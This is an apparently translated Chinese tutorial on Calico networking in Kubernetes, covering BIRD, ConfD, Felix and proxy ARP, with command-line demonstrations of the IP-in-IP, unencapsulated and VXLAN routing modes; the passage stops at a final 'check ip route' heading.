&lt;p&gt;下面的内容会涉及安装、Calico 模块（Felix、BIRD 以及 Confd）和路由模式，但是不会包含网络策略方面的内容。&lt;/p&gt;

&lt;h2 id=&#34;cni-的任务&#34;&gt;CNI 的任务&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;创建 &lt;code&gt;veth&lt;/code&gt; 对，并移入容器&lt;/li&gt;
&lt;li&gt;鉴别正确的 POD CIDR&lt;/li&gt;
&lt;li&gt;创建 CNI 配置文件&lt;/li&gt;
&lt;li&gt;IP 地址的分配和管理&lt;/li&gt;
&lt;li&gt;在容器中加入缺省路由&lt;/li&gt;
&lt;li&gt;把路由广播给所有 Peer 节点（不适用于 VxLan）&lt;/li&gt;
&lt;li&gt;在主机上加入路由&lt;/li&gt;
&lt;li&gt;实施网络策略&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;其实还有很多别的需求，但是上面几个点是最基础的。看看 Master 和 Worker 节点上的路由表。每个节点都有一个容器，容器有一个 IP 地址和缺省的容器路由。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/1.png&#34; alt=&#34;1.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;上面的路由表说明，Pod 能够通过 3 层网络进行互通。什么模块负责添加路由，如何获取远端路由呢？为什么这里缺省网关是 &lt;code&gt;169.254.1.1&lt;/code&gt; 呢？我们接下来会讨论这些问题。&lt;/p&gt;

&lt;p&gt;Calico 的核心包括 Bird、Felix、ConfD、ETCD 以及 Kubernetes API Server。Calico 需要保存一些配置信息，例如 IP 池、端点信息、网络策略等，数据存储位置是可以配置的，本例中我们使用 Kubernetes 进行存储。&lt;/p&gt;

&lt;h2 id=&#34;bird-bgp&#34;&gt;BIRD（BGP）&lt;/h2&gt;

&lt;p&gt;Bird 是一个 BGP 守护进程，运行在每个节点上，负责相互交换路由信息。通常的拓扑关系是节点之间构成的网格：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/2.png&#34; alt=&#34;2.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;然而集群规模较大的时候，就会很麻烦了。可以使用 Route Reflector（部分 BGP 节点能够配置为 Route Reflector）来完成路由的传播工作，从而降低 BGP 连接数量。路由广播会发送给 Route Reflector，再由 Route Reflector 进行传播，更多信息可以参考 &lt;a href=&#34;https://tools.ietf.org/html/rfc4456&#34; target=&#34;_blank&#34;&gt;RFC4456&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/3.png&#34; alt=&#34;3&#34; /&gt;&lt;/p&gt;

&lt;p&gt;BIRD 实例负责向其它 BIRD 实例传递路由信息。缺省配置方式就是 &lt;code&gt;BGP Mesh&lt;/code&gt;，适用于小规模部署。在大规模集群中，建议使用 &lt;code&gt;Route Reflector&lt;/code&gt; 来克服这个缺点。可以使用多个 RR 来达成高可用目的，另外还可以使用外部 RR 来替代 BIRD。&lt;/p&gt;

&lt;h2 id=&#34;confd&#34;&gt;ConfD&lt;/h2&gt;

&lt;p&gt;ConfD 是一个简单的配置管理工具，运行在 Calico Node 容器中。它会从 ETCD 中读取数据（Calico 的 BIRD 配置），并写入磁盘文件。它会循环读取网络和子网，并应用配置数据（CIDR 键），组装为 BIRD 能够使用的配置。这样不管网络如何变化，BIRD 都能够得到通知并在节点之间广播路由。&lt;/p&gt;

&lt;h2 id=&#34;felix&#34;&gt;Felix&lt;/h2&gt;

&lt;p&gt;Calico Felix 守护进程在 Calico Node 容器中运行，完成如下功能：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;从 Kubernetes ETCD 中读取信息&lt;/li&gt;
&lt;li&gt;构建路由表&lt;/li&gt;
&lt;li&gt;配置 iptables 或者 IPVS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;看看集群中所有的 Calico 模块：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/4.png&#34; alt=&#34;4&#34; /&gt;&lt;/p&gt;

&lt;p&gt;是不是有点不同？&lt;code&gt;veth&lt;/code&gt; 的一端是“悬空”的，没有连接。&lt;/p&gt;

&lt;p&gt;数据包如何被路由到 Peer 节点的？&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Master 上的 Pod 尝试 Ping &lt;code&gt;10.0.2.11&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Pod 向网关发送一个 ARP 请求&lt;/li&gt;
&lt;li&gt;从 ARP 响应中得到 MAC 地址&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;但是谁响应的 ARP 请求？&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;容器是怎样路由到一个不存在的 IP 的？容器的缺省路由指向了 &lt;code&gt;169.254.1.1&lt;/code&gt;。容器的 eth0 需要访问这个地址，因此在使用缺省路由的时候会对这个 IP 进行 ARP 查询。&lt;/p&gt;

&lt;p&gt;如果能捕获 ARP 响应信息，会发现 &lt;code&gt;veth&lt;/code&gt; 另外一侧的（&lt;code&gt;cali123&lt;/code&gt;） MAC 地址。所以到底是怎样响应一个没有 IP 接口的 ARP 请求的呢？答案是 &lt;code&gt;proxy-arp&lt;/code&gt;，如果我们检查一下主机侧的 &lt;code&gt;veth&lt;/code&gt; 接口，会看到启用了 &lt;code&gt;proxy-arp&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ cat /proc/sys/net/ipv4/conf/cali123/proxy_arp
1
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;Proxy ARP 技术能用特定网络上的代理设备来响应针对本网络不存在的 IP 地址的 ARP 查询。这个代理知道流量的目标，会以自己的 MAC 地址进行响应。如此一来，流量就转给 Proxy，通常会被 Proxy 使用其它网络接口或者隧道路由到原定目标。这种以自己 MAC 地址响应其他 IP 地址的 ARP 请求，完成代理任务的行为有时也被称为发布。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;仔细看看 Worker 节点：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/5.png&#34; alt=&#34;5.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;数据包进入内核之后，会根据路由表进行路由。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;入栈流量：首先进入Worker 节点内核。
内核把数据包发给 &lt;code&gt;cali123&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;路由模式&#34;&gt;路由模式&lt;/h2&gt;

&lt;p&gt;Calico 支持三种路由模式，本节中会对几种模式的优劣和适用场景进行讨论。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IP-in-IP&lt;/strong&gt;：缺省，有封装行为；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Direct/NoEncapMode&lt;/strong&gt;：无封包（推荐）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VxLan&lt;/strong&gt;：有封包（无 BGP）&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;ip-in-ip&#34;&gt;IP-in-IP&lt;/h3&gt;

&lt;p&gt;这是一种简单的对 IP 包进行再封包的方式。传输中的数据包带有一个外层头部，其中描述了源主机和目的 IP，还有一个内层头部，包含源 Pod 和目标 IP。&lt;/p&gt;

&lt;p&gt;目前 Azure 还不支持 IP-IP，因此这种环境中无法使用该模式，建议关掉 IP-IP 以提高性能。&lt;/p&gt;

&lt;h3 id=&#34;noencapmode&#34;&gt;NoEncapMode&lt;/h3&gt;

&lt;p&gt;这种模式下数据包是用 Pod 发出时的原始格式发出来的。因为没有封包和解包的开销，这种模式比较有性能优势。&lt;/p&gt;

&lt;p&gt;AWS 中要使用这种模式需要关闭源 IP 校验。&lt;/p&gt;

&lt;h3 id=&#34;vxlan&#34;&gt;VXLAN&lt;/h3&gt;

&lt;p&gt;Calico 3.7 以后的版本才支持 VXLAN 路由。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;VXLAN 是 Virtual Extensible LAN 的缩写。VXLAN 是一种封包技术，二层数据帧被封装为 UDP 数据包。VXLAN 是一种网络虚拟化技术。当设备在软件定义的数据中心里进行通信时，会在这些设备之间建立 VXLAN 隧道。这些隧道能建立在屋里或虚拟交换机之上。这些交换端口被称为 VXLAN Tunnel Endpoints（VTEPs），负责 VXLAN 的封包和解包工作。不支持 VXLAN 的设备可以连接到 VTEP，由 VTEP 提供 VXLAN 的出入转换工作。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;VXLAN 对于不支持 IP-in-IP 的网络非常有用，例如 Azure 或者其它不支持 BGP 的数据中心。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/6.png&#34; alt=&#34;6&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;演示-ipip-和-unencapmode&#34;&gt;演示—— IPIP 和 UnEncapMode&lt;/h3&gt;

&lt;p&gt;在没安装 Calico 之前检查一下集群：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get nodes
NAME           STATUS     ROLES    AGE   VERSION
controlplane   NotReady   master   40s   v1.18.0
node01         NotReady   &amp;lt;none&amp;gt;   9s    v1.18.0

$ kubectl get pods --all-namespaces
NAMESPACE     NAME                                   READY   STATUS    RESTARTS   AGE
kube-system   coredns-66bff467f8-52tkd               0/1     Pending   0          32s
kube-system   coredns-66bff467f8-g5gjb               0/1     Pending   0          32s
kube-system   etcd-controlplane                      1/1     Running   0          34s
kube-system   kube-apiserver-controlplane            1/1     Running   0          34s
kube-system   kube-controller-manager-controlplane   1/1     Running   0          34s
kube-system   kube-proxy-b2j4x                       1/1     Running   0          13s
kube-system   kube-proxy-s46lv                       1/1     Running   0          32s
kube-system   kube-scheduler-controlplane            1/1     Running   0          33s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查 CNI 的二进制文件和目录。其中没有任何配置文件或者 Calico 二进制，Calico 安装过程会用加载卷来填充其中的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ cd /etc/cni
-bash: cd: /etc/cni: No such file or directory
$ cd /opt/cni/bin
$ ls
bridge  dhcp  flannel  host-device  host-local  ipvlan  loopback  macvlan  portmap  ptp  sample  tuning  vlan
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在 Master/Worker 节点上检查 &lt;code&gt;ip route&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ip route
default via 172.17.0.1 dev ens3
172.17.0.0/16 dev ens3 proto kernel scope link src 172.17.0.32
172.18.0.0/24 dev docker0 proto kernel scope link src 172.18.0.1 linkdown
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在集群环境中下载并提交 &lt;code&gt;calico.yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ curl https://docs.projectcalico.org/manifests/calico.yaml -O
$ kubectl apply -f calico.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看看其中的配置参数：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;cni_network_config: |-
    {
      &amp;quot;name&amp;quot;: &amp;quot;k8s-pod-network&amp;quot;,
      &amp;quot;cniVersion&amp;quot;: &amp;quot;0.3.1&amp;quot;,
      &amp;quot;plugins&amp;quot;: [
        {
          &amp;quot;type&amp;quot;: &amp;quot;calico&amp;quot;, &amp;gt;&amp;gt;&amp;gt; Calico&#39;s CNI plugin
          &amp;quot;log_level&amp;quot;: &amp;quot;info&amp;quot;,
          &amp;quot;log_file_path&amp;quot;: &amp;quot;/var/log/calico/cni/cni.log&amp;quot;,
          &amp;quot;datastore_type&amp;quot;: &amp;quot;kubernetes&amp;quot;,
          &amp;quot;nodename&amp;quot;: &amp;quot;__KUBERNETES_NODE_NAME__&amp;quot;,
          &amp;quot;mtu&amp;quot;: __CNI_MTU__,
          &amp;quot;ipam&amp;quot;: {
              &amp;quot;type&amp;quot;: &amp;quot;calico-ipam&amp;quot; &amp;gt;&amp;gt;&amp;gt; Calico&#39;s IPAM instaed of default IPAM
          },
          &amp;quot;policy&amp;quot;: {
              &amp;quot;type&amp;quot;: &amp;quot;k8s&amp;quot;
          },
          &amp;quot;kubernetes&amp;quot;: {
              &amp;quot;kubeconfig&amp;quot;: &amp;quot;__KUBECONFIG_FILEPATH__&amp;quot;
          }
        },
        {
          &amp;quot;type&amp;quot;: &amp;quot;portmap&amp;quot;,
          &amp;quot;snat&amp;quot;: true,
          &amp;quot;capabilities&amp;quot;: {&amp;quot;portMappings&amp;quot;: true}
        },
        {
          &amp;quot;type&amp;quot;: &amp;quot;bandwidth&amp;quot;,
          &amp;quot;capabilities&amp;quot;: {&amp;quot;bandwidth&amp;quot;: true}
        }
      ]
    }
# Enable IPIP
- name: CALICO_IPV4POOL_IPIP
    value: &amp;quot;Always&amp;quot; &amp;gt;&amp;gt; Set this to &#39;Never&#39; to disable IP-IP
# Enable or Disable VXLAN on the default IP pool.
- name: CALICO_IPV4POOL_VXLAN
    value: &amp;quot;Never&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;安装完毕之后，检查 Pod 和节点状态。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get pods --all-namespaces
NAMESPACE     NAME                                       READY   STATUS              RESTARTS   AGE
kube-system   calico-kube-controllers-799fb94867-6qj77   0/1     ContainerCreating   0          21s
kube-system   calico-node-bzttq                          0/1     PodInitializing     0          21s
kube-system   calico-node-r6bwj                          0/1     PodInitializing     0          21s
kube-system   coredns-66bff467f8-52tkd                   0/1     Pending             0          7m5s
kube-system   coredns-66bff467f8-g5gjb                   0/1     ContainerCreating   0          7m5s
kube-system   etcd-controlplane                          1/1     Running             0          7m7s
kube-system   kube-apiserver-controlplane                1/1     Running             0          7m7s
kube-system   kube-controller-manager-controlplane       1/1     Running             0          7m7s
kube-system   kube-proxy-b2j4x                           1/1     Running             0          6m46s
kube-system   kube-proxy-s46lv                           1/1     Running             0          7m5s
kube-system   kube-scheduler-controlplane                1/1     Running             0          7m6s
$ kubectl get nodes
NAME           STATUS   ROLES    AGE     VERSION
controlplane   Ready    master   7m30s   v1.18.0
node01         Ready    &amp;lt;none&amp;gt;   6m59s   v1.18.0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Kubelet 需要 CNI 的配置文件来设置网络：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ cd /etc/cni/net.d/
$ ls
10-calico.conflist  calico-kubeconfig
$
$
$ cat 10-calico.conflist
{
  &amp;quot;name&amp;quot;: &amp;quot;k8s-pod-network&amp;quot;,
  &amp;quot;cniVersion&amp;quot;: &amp;quot;0.3.1&amp;quot;,
  &amp;quot;plugins&amp;quot;: [
    {
      &amp;quot;type&amp;quot;: &amp;quot;calico&amp;quot;,
      &amp;quot;log_level&amp;quot;: &amp;quot;info&amp;quot;,
      &amp;quot;log_file_path&amp;quot;: &amp;quot;/var/log/calico/cni/cni.log&amp;quot;,
      &amp;quot;datastore_type&amp;quot;: &amp;quot;kubernetes&amp;quot;,
      &amp;quot;nodename&amp;quot;: &amp;quot;controlplane&amp;quot;,
      &amp;quot;mtu&amp;quot;: 1440,
      &amp;quot;ipam&amp;quot;: {
          &amp;quot;type&amp;quot;: &amp;quot;calico-ipam&amp;quot;
      },
      &amp;quot;policy&amp;quot;: {
          &amp;quot;type&amp;quot;: &amp;quot;k8s&amp;quot;
      },
      &amp;quot;kubernetes&amp;quot;: {
          &amp;quot;kubeconfig&amp;quot;: &amp;quot;/etc/cni/net.d/calico-kubeconfig&amp;quot;
      }
    },
    {
      &amp;quot;type&amp;quot;: &amp;quot;portmap&amp;quot;,
      &amp;quot;snat&amp;quot;: true,
      &amp;quot;capabilities&amp;quot;: {&amp;quot;portMappings&amp;quot;: true}
    },
    {
      &amp;quot;type&amp;quot;: &amp;quot;bandwidth&amp;quot;,
      &amp;quot;capabilities&amp;quot;: {&amp;quot;bandwidth&amp;quot;: true}
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查 CNI 的二进制文件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ls
bandwidth  bridge  calico  calico-ipam dhcp  flannel  host-device  host-local  install  ipvlan  loopback  macvlan  portmap  ptp  sample  tuning  vlan
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;安装 &lt;code&gt;calicoctl&lt;/code&gt; 来获取 Calico 的更多信息并能修改 Calico 配置：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ cd /usr/local/bin/
$ curl -O -L  https://github.com/projectcalico/calicoctl/releases/download/v3.16.3/calicoctl
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   633  100   633    0     0   3087      0 --:--:-- --:--:-- --:--:--  3087
100 38.4M  100 38.4M    0     0  5072k      0  0:00:07  0:00:07 --:--:-- 4325k
$ chmod +x calicoctl
$ export DATASTORE_TYPE=kubernetes
$ export KUBECONFIG=~/.kube/config
# Check endpoints - it will be empty as we have&#39;t deployed any POD
$ calicoctl get workloadendpoints
WORKLOAD   NODE   NETWORKS   INTERFACE
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查 BGP Peer 的状态，会看到 Worker 节点是一个 Peer。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ calicoctl node status
Calico process is running.
IPv4 BGP status
+--------------+-------------------+-------+----------+-------------+
| PEER ADDRESS |     PEER TYPE     | STATE |  SINCE   |    INFO     |
+--------------+-------------------+-------+----------+-------------+
| 172.17.0.40  | node-to-node mesh | up    | 00:24:04 | Established |
+--------------+-------------------+-------+----------+-------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建一个两副本 Pod，并设置 &lt;code&gt;tolerations&lt;/code&gt;，使之可以运行在 Master 节点：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  name: busybox-deployment
spec:
  selector:
    matchLabels:
      app: busybox
  replicas: 2
  template:
    metadata:
      labels:
        app: busybox
    spec:
      tolerations:
      - key: &amp;quot;node-role.kubernetes.io/master&amp;quot;
        operator: &amp;quot;Exists&amp;quot;
        effect: &amp;quot;NoSchedule&amp;quot;
      containers:
      - name: busybox
        image: busybox
        command: [&amp;quot;sleep&amp;quot;]
        args: [&amp;quot;10000&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;获取 Pod 和端点状态：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get pods -o wide
NAME                                 READY   STATUS    RESTARTS   AGE   IP                NODE           NOMINATED NODE   READINESS GATES
busybox-deployment-8c7dc8548-btnkv   1/1     Running   0          6s    192.168.196.131   node01         &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
busybox-deployment-8c7dc8548-x6ljh   1/1     Running   0          6s    192.168.49.66     controlplane   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
$ calicoctl get workloadendpoints
WORKLOAD                             NODE           NETWORKS             INTERFACE
busybox-deployment-8c7dc8548-btnkv   node01         192.168.196.131/32   calib673e730d42
busybox-deployment-8c7dc8548-x6ljh   controlplane   192.168.49.66/32     cali9861acf9f07
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;获取 Pod 所在主机上的 VETH 信息：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ifconfig cali9861acf9f07
cali9861acf9f07: flags=4163&amp;lt;UP,BROADCAST,RUNNING,MULTICAST&amp;gt;  mtu 1440
        inet6 fe80::ecee:eeff:feee:eeee  prefixlen 64  scopeid 0x20&amp;lt;link&amp;gt;
        ether ee:ee:ee:ee:ee:ee  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 5  bytes 446 (446.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;获取 Pod 网络界面的信息：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec busybox-deployment-8c7dc8548-x6ljh -- ifconfig
eth0      Link encap:Ethernet  HWaddr 92:7E:C4:15:B9:82
          inet addr:192.168.49.66  Bcast:192.168.49.66  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1440  Metric:1
          RX packets:5 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:446 (446.0 B)  TX bytes:0 (0.0 B)
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
$ kubectl exec busybox-deployment-8c7dc8548-x6ljh -- ip route
default via 169.254.1.1 dev eth0
169.254.1.1 dev eth0 scope link
$ kubectl exec busybox-deployment-8c7dc8548-x6ljh -- arp
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;获取主节点路由：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ip route
default via 172.17.0.1 dev ens3
172.17.0.0/16 dev ens3 proto kernel scope link src 172.17.0.32
172.18.0.0/24 dev docker0 proto kernel scope link src 172.18.0.1 linkdown
blackhole 192.168.49.64/26 proto bird
192.168.49.65 dev calic22dbe57533 scope link
192.168.49.66 dev cali9861acf9f07 scope link
192.168.196.128/26 via 172.17.0.40 dev tunl0 proto bird onlink
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;尝试 Ping Worker 节点来触发 ARP：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec busybox-deployment-8c7dc8548-x6ljh -- ping 192.168.196.131 -c 1
PING 192.168.196.131 (192.168.196.131): 56 data bytes
64 bytes from 192.168.196.131: seq=0 ttl=62 time=0.823 ms
$ kubectl exec busybox-deployment-8c7dc8548-x6ljh -- arp
? (169.254.1.1) at ee:ee:ee:ee:ee:ee [ether]  on eth0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;注意上面的 MAC 地址。发出流量时，内核根据 IP 路由将数据包写入 &lt;code&gt;tunl0&lt;/code&gt;，Proxy ARP 的配置：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ cat /proc/sys/net/ipv4/conf/cali9861acf9f07/proxy_arp
1
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;目标节点如何处理数据包&#34;&gt;目标节点如何处理数据包&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;node01 $ ip route
default via 172.17.0.1 dev ens3
172.17.0.0/16 dev ens3 proto kernel scope link src 172.17.0.40
172.18.0.0/24 dev docker0 proto kernel scope link src 172.18.0.1 linkdown
192.168.49.64/26 via 172.17.0.32 dev tunl0 proto bird onlink
blackhole 192.168.196.128/26 proto bird
192.168.196.129 dev calid4f00d97cb5 scope link
192.168.196.130 dev cali257578b48b6 scope link
192.168.196.131 dev calib673e730d42 scope link
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接收到数据包之后，内核会根据路由表将数据包发给对应的 &lt;code&gt;veth&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;如果抓包的话会看出 IP-IP 协议。据我所知，Azure 不支持 IP-IP，也就是说我们无法在这种环境里使用 IP-IP。关闭 IP-IP 能获得更高性能，下面一节尝试一下。&lt;/p&gt;

&lt;h3 id=&#34;禁用-ip-ip&#34;&gt;禁用 IP-IP&lt;/h3&gt;

&lt;p&gt;更新 &lt;code&gt;ippool.yaml&lt;/code&gt; 设置 IPIP 为 &lt;code&gt;Never&lt;/code&gt;，然后用 &lt;code&gt;calicoctl&lt;/code&gt; 应用配置：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ calicoctl get ippool default-ipv4-ippool -o yaml &amp;gt; ippool.yaml
$ vi ippool.yaml
...
$ calicoctl apply -f ippool.yaml
Successfully applied 1 &#39;IPPool&#39; resource(s)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再次检查 &lt;code&gt;ip route&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ip route
default via 172.17.0.1 dev ens3
172.17.0.0/16 dev ens3 proto kernel scope link src 172.17.0.32
172.18.0.0/24 dev docker0 proto kernel scope link src 172.18.0.1 linkdown
blackhole 192.168.49.64/26 proto bird
192.168.49.65 dev calic22dbe57533 scope link
192.168.49.66 dev cali9861acf9f07 scope link
192.168.196.128/26 via 172.17.0.40 dev ens3 proto bird
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;设备不再是 &lt;code&gt;tunl0&lt;/code&gt;，而是变成 Master 节点的管理界面（&lt;code&gt;ens3&lt;/code&gt;）。&lt;/p&gt;

&lt;p&gt;Ping 一下 Worker 节点，验证工作情况，此时不再使用 IPIP 协议：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec busybox-deployment-8c7dc8548-x6ljh -- ping 192.168.196.131 -c 1
PING 192.168.196.131 (192.168.196.131): 56 data bytes
64 bytes from 192.168.196.131: seq=0 ttl=62 time=0.653 ms
--- 192.168.196.131 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.653/0.653/0.653 ms
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;注意在 AWS 环境中使用这种模式需要禁用源 IP 检查。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;演示-vxlan&#34;&gt;演示 VXLAN&lt;/h3&gt;

&lt;p&gt;重新进行集群初始化，并下载 &lt;code&gt;calico.yaml&lt;/code&gt; 文件，进行如下变更：&lt;/p&gt;

&lt;p&gt;从 &lt;code&gt;livenessProbe&lt;/code&gt; 和 &lt;code&gt;readinessProbe&lt;/code&gt; 中删除 &lt;code&gt;bird&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;livenessProbe:
            exec:
              command:
              - /bin/calico-node
              - -felix-live
              - -bird-live &amp;gt;&amp;gt; Remove this
            periodSeconds: 10
            initialDelaySeconds: 10
            failureThreshold: 6
          readinessProbe:
            exec:
              command:
              - /bin/calico-node
              - -felix-ready
              - -bird-ready &amp;gt;&amp;gt; Remove this
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;把 &lt;code&gt;calico_backend&lt;/code&gt; 修改为 &lt;code&gt;vxlan&lt;/code&gt;，不再需要 BGP：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: ConfigMap
apiVersion: v1
metadata:
  name: calico-config
  namespace: kube-system
data:
  # Typha is disabled.
  typha_service_name: &amp;quot;none&amp;quot;
  # Configure the backend to use.
  calico_backend: &amp;quot;vxlan&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;禁用 IPIP：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# Enable IPIP
- name: CALICO_IPV4POOL_IPIP
    value: &amp;quot;Never&amp;quot; &amp;gt;&amp;gt; Set this to &#39;Never&#39; to disable IP-IP
# Enable or Disable VXLAN on the default IP pool.
- name: CALICO_IPV4POOL_VXLAN
    value: &amp;quot;Never&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;应用这个 YAML：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ ip route
default via 172.17.0.1 dev ens3
172.17.0.0/16 dev ens3 proto kernel scope link src 172.17.0.15
172.18.0.0/24 dev docker0 proto kernel scope link src 172.18.0.1 linkdown
192.168.49.65 dev calif5cc38277c7 scope link
192.168.49.66 dev cali840c047460a scope link
192.168.196.128/26 via 192.168.196.128 dev vxlan.calico onlink
vxlan.calico: flags=4163&amp;lt;UP,BROADCAST,RUNNING,MULTICAST&amp;gt;  mtu 1440
        inet 192.168.196.128  netmask 255.255.255.255  broadcast 192.168.196.128
        inet6 fe80::64aa:99ff:fe2f:dc24  prefixlen 64  scopeid 0x20&amp;lt;link&amp;gt;
        ether 66:aa:99:2f:dc:24  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 11 overruns 0  carrier 0  collisions 0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;获取 Pod 状态：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get pods -o wide
NAME                                 READY   STATUS    RESTARTS   AGE   IP                NODE           NOMINATED NODE   READINESS GATES
busybox-deployment-8c7dc8548-8bxnw   1/1     Running   0          11s   192.168.49.67     controlplane   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
busybox-deployment-8c7dc8548-kmxst   1/1     Running   0          11s   192.168.196.130   node01         &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;查看 &lt;code&gt;ip route&lt;/code&gt;：&lt;/p&gt;

